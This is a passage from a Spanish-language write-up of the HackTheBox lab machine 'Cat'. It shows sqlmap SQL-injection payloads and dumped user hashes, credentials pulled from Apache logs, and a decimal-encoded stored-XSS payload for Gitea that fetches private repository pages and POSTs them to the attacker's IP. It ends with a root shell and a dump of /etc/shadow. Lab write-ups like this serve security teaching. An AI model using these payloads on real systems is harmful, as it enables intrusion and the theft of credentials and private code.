[05:30:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[05:30:23] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[05:30:23] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[05:30:23] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[05:30:23] [INFO] checking if the injection point on POST parameter 'catName' is a false positive
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName="hello"'||(SELECT CHAR(112,116,69,66) WHERE 9980=9980 AND 4900=4900)||'&catId=1

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catName="hello"'||(SELECT CHAR(89,100,80,75) WHERE 7381=7381 AND 1106=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---
[05:30:25] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[05:30:25] [INFO] fetching tables for database: 'SQLite_masterdb'
[05:30:25] [INFO] fetching number of tables for database 'SQLite_masterdb'
[05:30:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:30:25] [INFO] retrieved: 4
[05:30:26] [INFO] retrieved: accepted_cats
[05:30:37] [INFO] retrieved: sqlite_sequence
[05:30:46] [INFO] retrieved: cats
[05:30:49] [INFO] retrieved: users
<current>
[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

[05:30:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 184 times
[05:30:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cat.htb'

[*] ending @ 05:30:52 /2025-02-20/

Ejecutamos nuevamente para realizar ‘dump’ a la tabla users, se listan diez usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Database: <current>
Table: users
[11 entries]
+---------+-------------------------------+----------------------------------+----------+
| user_id | email                         | password                         | username |
+---------+-------------------------------+----------------------------------+----------+
| 1       | axel2017@gmail.com            | d1bbba3670feb9435c9841e46e60ee2f | axel     |
| 2       | rosamendoza485@gmail.com      | ac369922d560f17d6eeb8b2c7dec498c | rosa     |
| 3       | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert   |
| 4       | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian   |
| 5       | jerrysonC343@gmail.com        | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| 6       | larryP5656@gmail.com          | 1b6dce240bbfbc0905a664ad199e18f8 | larry    |
| 7       | royer.royer2323@gmail.com     | c598f6b844a36fa7836fba0835f1f6   | royer    |
| 8       | peterCC456@gmail.com          | e41ccefa439fc454f7eadbf1f139ed8a | peter    |
| 9       | angel234g@gmail.com           | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel    |
| 10      | jobert2020@gmail.com          | 88e4dceccd48820cf77b5cf6c08698ad | jobert   |
| 11      | sckull@htb.eu                 | e2e5cd07c8cf387539108129a1eb3b3f | <blank>  |
+---------+-------------------------------+----------------------------------+----------+

crackstation muestra unicamente el valor del hash de rosa.

1
ac369922d560f17d6eeb8b2c7dec498c : soyunaprincesarosa

User - Rosa

Utilizamos el par de credenciales por SSH y logramos acceder como rosa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/htb/cat]
└─$ ssh rosa@10.10.11.53 # soyunaprincesarosa
rosa@10.10.11.53's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 20 Feb 2025 10:42:01 AM UTC

  System load:           0.37
  Usage of /:            52.1% of 6.06GB
  Memory usage:          17%
  Swap usage:            0%
  Processes:             238
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.53
  IPv6 address for eth0: dead:beef::250:56ff:feb0:2e78

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb 20 10:42:32 2025 from 10.10.15.106
rosa@cat:~$ export TERM=xterm
rosa@cat:~$ whoami;id;pwd
rosa
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
/home/rosa
rosa@cat:~$

User - Axel

rosa pertenece al grupo adm, si observamos los archivos a los que tiene acceso este grupo vemos access.log de apache.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
rosa@cat:~$ find / -group adm 2>/dev/null
/var/log/audit
/var/log/audit/audit.log
/var/log/audit/audit.log.4
/var/log/audit/audit.log.1
/var/log/audit/audit.log.3
/var/log/audit/audit.log.2
/var/log/syslog.2.gz
/var/log/syslog.1
/var/log/kern.log.2.gz
/var/log/apt/term.log.2.gz
/var/log/apt/term.log.5.gz
/var/log/apt/term.log.4.gz
/var/log/apt/term.log.6.gz
/var/log/apt/term.log.3.gz
/var/log/apt/term.log
/var/log/apt/term.log.1.gz
/var/log/auth.log.1
/var/log/kern.log.1
/var/log/dmesg
/var/log/apache2
/var/log/apache2/access.log
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log
/var/log/apache2/error.log.2.gz
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.1
/var/log/kern.log
/var/log/installer
/var/log/installer/subiquity-server-info.log.2098
/var/log/installer/subiquity-server-debug.log.2098
/var/log/installer/installer-journal.txt
/var/log/installer/subiquity-curtin-install.conf
/var/log/installer/subiquity-client-info.log.2048
/var/log/installer/autoinstall-user-data
/var/log/installer/subiquity-curtin-apt.conf
/var/log/installer/subiquity-client-debug.log.2048
/var/log/mail.log
/var/log/auth.log.2.gz
/var/log/mail.log.2.gz
/var/log/mail.log.1
/var/log/cloud-init.log
/var/log/syslog
/var/log/cloud-init-output.log
/var/log/auth.log
/var/spool/rsyslog
/etc/hostname
/etc/cloud/cloud.cfg.d/99-installer.cfg
/etc/cloud/ds-identify.cfg
/etc/hosts
rosa@cat:~$

Ejecutamos grep sobre este archivo y encontramos la contrasena de axel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
rosa@cat:~$ cat /var/log/apache2/access.log.1 | grep axel | head
127.0.0.1 - - [31/Jan/2025:11:17:37 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:17:48 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:17:59 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:18:10 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:18:21 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:18:32 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:18:43 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:18:54 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:19:04 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:11:19:15 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
rosa@cat:~$

Ejecutamos su para cambiar de usuario, logrando acceder como axel y la flag user.txt.

1
2
3
4
5
6
7
8
rosa@cat:~$ su axel
Password: 
axel@cat:/home/rosa$ cd
axel@cat:~$ ls
user.txt
axel@cat:~$ cat user.txt 
81a9c7a64af17e8fab191867d24ef274
axel@cat:~$

Privesc

Encontramos que axel tiene dos correos, el primero indica la existencia de Gitea tambien, se mencion el envio de la direccion de repositorio a jobert para revision, se especifica que se realiza una revision al repositorio entero.

El segundo indica la existencia del repositorio Employee-management, aunque el repositorio es privado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
axel@cat:~$ cat /var/mail/axel 
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
	by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
	for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
	by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
	for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
	by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
	for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
	by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
	for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

axel@cat:~$

Gitea

Encontramos que el puerto 3000 esta abierto localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
axel@cat:~$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:49797         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:34993         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:56053         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
axel@cat:~$

Ejecutamos Local Port Forwarding al puerto 3000 por SSH.

1
ssh -fN rosa@10.10.11.53 -L 3000:127.0.0.1:3000 # soyunaprincesarosa

Observamos Gitea localmente en el puerto 3000.

image

Y se muestra la version de Gitea en el footer.

image

Ademas logramos acceder con las credenciales de Axel.

image

CVE-2024-6886

Observamos que existe una vulnerabilidad de XSS que afecta a la version de Gitea.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/htb/cat]
└─$ searchsploit gitea
------------------------------------------------------- ---------------------------------
 Exploit Title                                         |  Path
------------------------------------------------------- ---------------------------------
Gitea 1.12.5 - Remote Code Execution (Authenticated)   | multiple/webapps/49571.py
Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit | multiple/webapps/51009.rb
Gitea 1.22.0 - Stored XSS                              | multiple/webapps/52077.txt
Gitea 1.4.0 - Remote Code Execution                    | multiple/webapps/44996.py
Gitea 1.7.5 - Remote Code Execution                    | multiple/webapps/49383.py
------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(kali㉿kali)-[~/htb/cat]
└─$

La vulnerabilidad es Stored XSS en la descripcion de un repositorio, se muestra el payload.

1
<a href=javascript:alert()>XSS test</a>

Creamos un nuevo repositorio para reproducir la explotacion, registrando el payload en la descripcion e inicializando el repositorio.

image

Tras el registro, observamos que en la descripcion se creo la etiqueta y al darle clic salta la alerta.

image

Admin Repository

Utilizando el payload del exploit agregamos codigo javascript para obtener el contenido de la pagina del repositorio Employee-management y enviarlo a un puerto a la escucha. Codificamos en Decimal el codigo javascript de nuestro payload y lo agregamos a un nuevo repositorio.

1
2
3
4
// 1
javascript:fetch('http://localhost:3000/administrator/Employee-management/').then(r=>r.text()).then(d=>fetch('http://10.10.15.106',{method:'POST',body:d}));

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#102;&#101;&#116;&#99;&#104;&#40;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;&#58;&#51;&#48;&#48;&#48;&#47;&#97;&#100;&#109;&#105;&#110;&#105;&#115;&#116;&#114;&#97;&#116;&#111;&#114;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#45;&#109;&#97;&#110;&#97;&#103;&#101;&#109;&#101;&#110;&#116;&#47;&#39;&#41;&#46;&#116;&#104;&#101;&#110;&#40;&#114;&#61;&#62;&#114;&#46;&#116;&#101;&#120;&#116;&#40;&#41;&#41;&#46;&#116;&#104;&#101;&#110;&#40;&#100;&#61;&#62;&#102;&#101;&#116;&#99;&#104;&#40;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#48;&#46;&#49;&#48;&#46;&#49;&#53;&#46;&#49;&#48;&#54;&#39;&#44;&#123;&#109;&#101;&#116;&#104;&#111;&#100;&#58;&#39;&#80;&#79;&#83;&#84;&#39;&#44;&#98;&#111;&#100;&#121;&#58;&#100;&#125;&#41;&#41;&#59;">Click Me</a>

Observamos que nuestro codigo es interpretado.

image

Enviamos un correo con la url de nuestro repositorio a jobert con sendmail.

1
echo -e "Subject: Repository\n\nMy repository http://localhost:3000/axel/Repo " | sendmail jobert@localhost

Luego de unos segundos obtuvimos una solicitud con el contenido HTML de la URL del repositorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ sudo nc -lvvp 80
listening on [any] 80 ...
connect to [10.10.15.106] from cat.htb [10.10.11.53] 49286
POST / HTTP/1.1
Host: 10.10.15.106
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 65372
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

<!DOCTYPE html>

[...] snip [...]

Guardamos el contenido en un archivo html y observamos que en el repositorio existen varios archivos PHP.

image

Intentamos obtener el codigo de index.php utilizando la url “raw”.

1
2
3
4
// 2
javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.15.106',{method:'POST',body:d}));

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#102;&#101;&#116;&#99;&#104;&#40;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;&#58;&#51;&#48;&#48;&#48;&#47;&#97;&#100;&#109;&#105;&#110;&#105;&#115;&#116;&#114;&#97;&#116;&#111;&#114;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#45;&#109;&#97;&#110;&#97;&#103;&#101;&#109;&#101;&#110;&#116;&#47;&#114;&#97;&#119;&#47;&#98;&#114;&#97;&#110;&#99;&#104;&#47;&#109;&#97;&#105;&#110;&#47;&#105;&#110;&#100;&#101;&#120;&#46;&#112;&#104;&#112;&#39;&#41;&#46;&#116;&#104;&#101;&#110;&#40;&#114;&#61;&#62;&#114;&#46;&#116;&#101;&#120;&#116;&#40;&#41;&#41;&#46;&#116;&#104;&#101;&#110;&#40;&#100;&#61;&#62;&#102;&#101;&#116;&#99;&#104;&#40;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#48;&#46;&#49;&#48;&#46;&#49;&#53;&#46;&#49;&#48;&#54;&#39;&#44;&#123;&#109;&#101;&#116;&#104;&#111;&#100;&#58;&#39;&#80;&#79;&#83;&#84;&#39;&#44;&#98;&#111;&#100;&#121;&#58;&#100;&#125;&#41;&#41;&#59;">Click Me</a>

Observamos la solicitud y vemos credenciales en el codigo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ sudo nc -lvvp 80
listening on [any] 80 ...
connect to [10.10.15.106] from cat.htb [10.10.11.53] 38314
POST / HTTP/1.1
Host: 10.10.15.106
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 420
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

 sent 0, rcvd 746

Shell

Utilizamos la contrasena con root para obtener una shell logrando leer la flag root.txt.

1
2
3
4
5
6
7
8
axel@cat:~$ su root
Password: 
root@cat:/home/axel# cd
root@cat:~# ls
root.txt  scripts
root@cat:~# cat root.txt 
20b0d7d29cb2392a8be500110c35c94d
root@cat:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
root@cat:~# cat /etc/shadow
root:$6$gZWufTq2.hEhrNx3$9xZG.3MLpfYOJo8EN24H5CoT5sJ24F7vWeky5tU4QTZ1sVKwngFUxfbAqlorjEP.aliWJZA7jS3Bxnc5HvKiH1:19994:0:99999:7:::
daemon:*:19926:0:99999:7:::
bin:*:19926:0:99999:7:::
sys:*:19926:0:99999:7:::
sync:*:19926:0:99999:7:::
games:*:19926:0:99999:7:::
man:*:19926:0:99999:7:::
lp:*:19926:0:99999:7:::
mail:*:19926:0:99999:7:::
news:*:19926:0:99999:7:::
uucp:*:19926:0:99999:7:::
proxy:*:19926:0:99999:7:::
www-data:*:19926:0:99999:7:::
backup:*:19926:0:99999:7:::
list:*:19926:0:99999:7:::
irc:*:19926:0:99999:7:::
gnats:*:19926:0:99999:7:::
nobody:*:19926:0:99999:7:::
systemd-network:*:19926:0:99999:7:::
systemd-resolve:*:19926:0:99999:7:::
systemd-timesync:*:19926:0:99999:7:::
messagebus:*:19926:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19877:0:99999:7:::
systemd-coredump:!!:19926::::::
axel:$6$Qin7PtKZAmITZJvt$dNoqvN0S7anYjIHW6nwrene2XI1vBCg49koRHVpnJlCYdDn75QLsL.5CStdukiXRejTMKaHSbckmlCfaf47jn1:19882:0:99999:7:::
sshd:*:19926:0:99999:7:::
rosa:$6$Gcl0Zhl7CRxJqHRi$CG7HwjG/OoMBS3hnrs9m6.Wgs.CxQ.xFNqI2VTN/xMZifc06kxRUh6xgS1/wIrhObeLnqcYDTQlFi2lN0eyXS/:19966:0:99999:7:::
git:*:19964:0:99999:7:::
smmta:*:19965:0:99999:7:::
smmsp:*:19965:0:99999:7:::
jobert:$6$AYGcjhL4z59iTO0E$degFih9k1URjYwU7lMH3YKIXQEL5DfU1y833UEItzgQJgmBBsv55SW.R6EAMFUKegShaWmCPAlNfGhPxvLqW6.:19965:0:99999:7:::
_laurel:!:20109::::::
root@cat:~#
Share on

Dany Sucuc
WRITTEN BY
sckull